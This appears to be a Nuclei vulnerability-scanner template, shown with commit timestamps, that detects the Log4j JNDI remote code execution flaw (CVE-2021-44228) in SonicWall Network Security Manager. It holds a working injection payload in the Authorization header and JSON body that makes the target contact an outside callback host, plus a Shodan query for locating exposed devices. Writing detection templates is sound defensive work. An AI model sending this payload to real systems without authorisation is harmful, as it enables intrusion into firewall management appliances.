2023-10-18 20:00:15 +00:00
id : sonicwall-nsm-log4j-rce
info :
name : Sonicwall NSM - Remote Code Execution (Apache Log4j)
2023-10-19 07:28:29 +00:00
author : shaikhyaser
2023-10-18 20:00:15 +00:00
severity : critical
description : |
Sonicwall NSM is susceptible to Log4j JNDI remote code execution. SonicWall Network Security Manager (NSM) allows you to centrally orchestrate all firewall operations error-free, see and manage threats and risks across your firewall ecosystem from one place, and stay connected and compliant.
reference :
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
cve-id : CVE-2021-44228
cwe-id : CWE-77
metadata :
2023-10-19 07:28:29 +00:00
shodan-query : title:"SonicWall Network Security"
2023-10-18 20:00:15 +00:00
max-request : 1
2023-10-19 07:28:29 +00:00
tags : cve,cve2021,rce,jndi,log4j,sonicwall,oast,kev
2023-10-18 20:00:15 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-10-19 07:28:29 +00:00
str : "{{rand_base(5)}}"
2023-10-18 20:00:15 +00:00
http :
- raw :
- |
POST /api/sonicos/auth HTTP/1.1
Host : {{Hostname}}
X-Snwl-Timer : no -reset
2023-10-19 07:28:29 +00:00
Authorization : Digest username="${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/}", realm="admin-users@x.x.x.x", uri="/api/sonicos/auth", algorithm=SHA-256
2023-10-18 20:00:15 +00:00
Content-Type : application/json
Accept : application/json, text/plain, /
X-Snwl-Api-Scope : extended
Origin : {{RootURL}}
2023-10-19 07:28:29 +00:00
Referer : {{RootURL}}
2023-10-18 20:00:15 +00:00
2023-10-19 07:28:29 +00:00
{"override" : false , "snwl" : "${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}" }
2023-10-18 20:00:15 +00:00
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
2023-10-19 07:28:29 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2023-10-18 20:00:15 +00:00
extractors :
- type : kval
kval :
2023-10-19 07:28:29 +00:00
- interactsh_ip # Print remote interaction IP in output
2023-10-18 20:00:15 +00:00
- type : regex
group : 2
regex :
2023-10-19 07:28:29 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
2023-10-18 20:00:15 +00:00
part : interactsh_request
- type : regex
group : 1
regex :
2023-10-19 07:28:29 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2023-10-23 07:42:12 +00:00
part : interactsh_request
# digest: 4a0a00473045022100b0050dfce09ac4446dd4b5833eb5fc226ca52a683fc1dc58a9e0a2da8b7ddbb8022042a0fc74fa09237dd3fbf1c6eb88995338691df0d2d023e9e9e08cdd275ddca0:922c64590222798bb761d5b6d8e72950